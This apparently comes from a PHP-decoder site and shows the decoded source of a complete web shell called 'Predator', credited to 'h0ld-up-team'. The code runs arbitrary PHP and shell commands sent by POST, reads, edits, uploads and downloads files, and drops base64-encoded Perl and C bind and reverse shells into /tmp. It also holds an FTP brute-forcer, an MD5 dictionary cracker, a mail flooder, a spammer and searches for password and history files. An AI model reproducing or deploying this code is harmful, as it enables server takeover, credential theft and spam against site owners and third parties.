Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval (base64_decode("DQokYXV0aCA9IDA7DQoNCg0KDQppbmlfc2V0KCJzZXNzaW9uLmdjX21heGxpZ..
Decoded Output download
$auth = 0;
ini_set("session.gc_maxlifetime",1);
session_start();
error_reporting(0);
safe_mode();
$name="9b534ea55d0b82c3a7e80003a84b6865"; //login = 'mylogin'
$pass="a029d0df84eb5549c641e04a9ef389e5"; //pass = 'mypass'
if($auth == 1){
if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)
{
header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
}
if($_GET['kill']=='yes')
{
unlink($_SERVER['SCRIPT_FILENAME']);
echo "<script>alert('Your shell script was succefully deleted!')</script>";
}
function md5_brute($hash,$log,$dict)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if(!$dict){
return "Fill 'dictionary_file' field!";
}if(!$log){
return "Fill 'log_file' field!";
}elseif(!strlen($hash) == 0){
return "Fill 'md5_hash' field!";
}else{
while(!$feof($dict)){
$pass = fgets($dict);
$brute_hash = md5($pass);
if($brute_hash == $hash){
fputs($log, "$hash:$pass
---");
fclose($dict);
fclose($log);
exit;
}else{
$count = $count + 1;
fputs($log, "$count passwords was bruted...");
}
}
fputs($log, "$count passwords are failed!");
}
fclose($dict);
fclose($log);
}
function port_bind($port,$pass,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$port." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$port." ".$pass." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}else
{
return 'Choose method';
}
}
function backconnect($ip,$port,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}else
{
return 'Choose method';
}
}
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{
$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
}
function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($logf, "w");
$count = 0;
if(!$logf){
return "Fill 'log_file' field!";
}elseif(!$to){
return "Fill 'Send to' field!";
}elseif(!$from){
return "Fill 'From' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$amount){
return "Fill 'Amount' field!";
}else{
while($count < $amount){
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count flood-letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count flood-letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
}
fclose($fl);
}
function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if(!$host){
return "Fill 'Host' field!";
}elseif(!$ftp_users){
return "Fill 'ftp_users file' field!";
}elseif(!$ftp_passwd){
return "Fill 'ftp_passwd file' field!";
}elseif(!$ftp_log){
return "Fill 'ftp_log file' field!";
}elseif(!file_exists($ftp_users)){
return "File ".$ftp_users." doesn't exists!";
}elseif(!file_exists($ftp_passwd)){
return "File ".$ftp_passwd." doesn't exists!";
}
else{
while(!feof($fd)){
$pass = fgets($fd);
while(!feof($fl)){
$user = fgets($fl);
$connect = ftp_connect($host);
if(!$connect){
fputs($fr, "Enable connect to $host
");
exit;
}else{
$auth = ftp_login($connect, $user, $pass);
if(!$auth){
ftp_quit($connect);
}
else{
fputs($fr, "$host:
---$login:$pass
---");
ftp_quit($connect);
}
}
}
}
fputs($fr, "Done:
");
fclose($fr);
}
fclose($fl);
fclose($fd);
}
function spammer($from,$subject,$msg,$check,$elist,$logf)
{
ignore_user_abort(1);
set_time_limit(0);
$fp = fopen($elist. "r");
$fl = fopen($logf, "w");
$count = 0;
if(!$from){
return "Fill 'From' field!";
}elseif(!$elist){
return "Fill 'Emails list' field!";
}elseif(!$logf){
return "Fill 'Log File' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!file_exists($elist)){
return "File ".$elist." doesn't exists!";
}else{
while(!feof($fp)){
$to = fgets($fp);
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!
");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!");
}
}
fclose($fp);
fclose($fl);
}
function alias($in)
{
if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
}
function testperl()
{
if(ex('perl -h'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testlynx()
{
if(ex('lynx --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function testfetch()
{
if(ex('fetch --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testwget()
{
if(ex('wget --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function oracle()
{
if(function_exists('ocilogon'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function postgresql()
{
if(function_exists('pg_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmssql()
{
if(function_exists('mssql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testcurl()
{
if(function_exists('curl_version'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmysql()
{
if(function_exists('mysql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
{
$_SESSION['safe_mode'] = 1;
return "<font size=2 color=green>ON</font>";
}else{
$_SESSION['safe_mode'] = 0;
return "<font size=2 color=red>OFF</font>";
}
};
function ex($in)
{
$out = '';
if(function_exists('exec'))
{
exec($in,$out);
$out = join("
",$out);
}
elseif(function_exists('passthru'))
{
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('system'))
{
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif(is_resource($f = popen($in,"r")))
{
$out = "";
while(!@feof($f)) { $out .= fread($f,1024); }
pclose($f);
}
return $out;
}
function shell()
{
if($_POST['type']==1)
{
eval(stripslashes($_POST['value']));
}
elseif($_POST['type']==2)
{
pwd();
print_r(ex(stripslashes($_POST['value'])));
}
elseif($_POST['type']==3)
{
if($_SESSION['safe_mode'] == 1){
if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};
}else{
if(($u=ex('ls -la'))!='')
{return $u;}else{return ex('dir');};
}
}
elseif($_POST['type']==4)
{
if(file_exists(stripslashes($_POST['value'])))
{
if($safe_mode!=1){
echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];
}else{
return 'File doesn\'t exists!';
}
}
elseif($_POST['type']==5)
{
fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
}
elseif($_POST['type']==6)
{
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
}
elseif($_POST['type']==7)
{
echo alias($_POST['value']);
}
elseif($_POST['type']==8)
{
echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
}
elseif($_POST['type']==9)
{
echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
}
elseif($_POST['type']==10)
{
echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
}
elseif($_POST['type']==12)
{
echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
}
elseif($_POST['type']==13)
{
echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
}
elseif($_POST['type']==14)
{
echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
}
else
{$u = ex('ls -la');
if($u == ''){return ex('dir');}else{return $u;};
}
return null;
};
function edit()
{
if ($_SESSION['edit'] == 1){
$_SESSION['edit']=0;
return "<br><center><input type=submit style=\"border:1px solid #666666;background:#333333;font-weight:bold;\" value=\"Save\"></center>";};
}
function getsystem()
{
return php_uname('s')." ".php_uname('r')." ".php_uname('v');
};
function getserver()
{
return getenv("SERVER_SOFTWARE");
};
function getuser()
{
$out = get_current_user();
if($out!="SYSTEM")
{
if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
}
return $out;
};
function pwd()
{
if($_POST['type']==3)
{
$_SESSION['pwd'] = stripslashes($_POST['value']);
}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if($u=strrpos($cwd,'/'))
{
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\'))
{
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
function safe_ex($in)
{
if($in){
$d=dir('.');
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime)." ";
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file
";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?>
<html>
<head>
<title>.::Predator::.</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm('Are you really want to kill shell?');
if(y == true)
{
document.location = '?kill=yes';
}
}
</script>
</head>
<body bgcolor='#000000'>
<center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #666666">
<tr><td width=100% height=70 bgcolor='#333333' style="border-bottom: 2px solid #666666" valign=top>
<table valign=top>
<tr><td valign=top>
<table valign=center class='ram'>
<tr><td width=5% align=right>
<font size=2 color=#888888>System:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getsystem();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>Server:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getserver();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>User:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getuser();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>pwd:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font>
</td></tr>
</table>
</td>
<td width=13% valign=center align=center>
<table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
<center>
<a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #666666;background:#444444">
<tr><td><font size=2 color=#999999>
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></table></a></center>
</td></tr><tr><td height=5></td></tr><tr><td>
<center>
<input type=submit style="border:1px solid #666666;background: darkred;font-weight:bold;" value=' Kill Shell ' onclick='kill()'>
</center>
</td></tr></table>
</td>
<td class='ram' width=45% valign=center align=center>
<table cellpadding=0 cellspacing=0>
<tr><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td align=right>
<font size=2 color='#888888'>PHP-version:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MySQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MSSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>PostgreSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>Oracle:</font>
</td></tr>
</table>
</td><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td>
<b><font size=2 color=red><?php echo phpversion();?></font></b>
</td></tr>
<tr><td>
<b><?php echo testmysql();?></b>
</td></tr>
<tr><td>
<b><?php echo testmssql();?></b>
</td></tr>
<tr><td>
<b><?php echo postgresql();?></b>
</td></tr>
<tr><td>
<b><?php echo oracle();?></b>
</td></tr>
</table>
</td><td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Safe_mode:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>cURL:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>wget:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>fetch:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>lynx:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><?php echo safe_mode();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testcurl();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testwget();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testfetch();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testlynx();?></b>
</td></tr>
</table></td>
<td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Perl:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server time:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server date:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Total space:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Free space:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><font size=2 color=green><?php echo testperl();?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('H:i');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('d-m-Y');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(disk_total_space(getcwd()));?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(diskfreespace(getcwd()));?></font></b>
</td></tr>
</table></td></tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td width=100% height=100% bgcolor='#333333' valign=top>
<table width=100%>
<tr><td valign=top align=center>
<table width=100% height=200 class='td1'>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=80 rows=13 name="value" class='ta'>
<?php echo htmlspecialchars(shell());?>
</textarea><?php echo edit();?></form>
</td>
<td valign=top align=left width=10%>
<table width=100% height=100% class='td2'>
<form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #000000;">
<b>.::System shell::.</b><br>
<input type=hidden name="type" value=2>
<center><input type=text name="value" size=35 class='ta'></center>
</ br><center><input type=submit value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr></form>
<tr><td valign=top align=left>
<form action method=POST>
<table>
<tr><td>
<b>.::PHP-code::.</b>
</td><td align=right>
<input type=submit value="Run code" class='bt'>
<input type=hidden name="type" value=1>
</td></tr>
<tr><td colspan=2>
<textarea rows=5 cols=26 name="value" class='ta'><?php echo "readfile('/etc/passwd');";?></textarea>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
<table>
<tr><td height=0></td></tr>
</table>
<table width=100% height=80 class='td1' valign=top>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::PWD::.</b>
</td><td align=right>
<input type=submit class='bt' value="cd">
<input type=hidden name="type" value=3>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::File Edit::.</b>
</td><td align=right>
<input type=submit class='bt' value="Edit">
<input type=hidden name="type" value=4>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=72 value=<?php echo pwd();?>>
</td></tr>
</table></form>
</td></tr>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Download::.</b>
</td><td align=right>
<input type=submit class='bt' value="Download">
<input type=hidden name="type" value=11>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
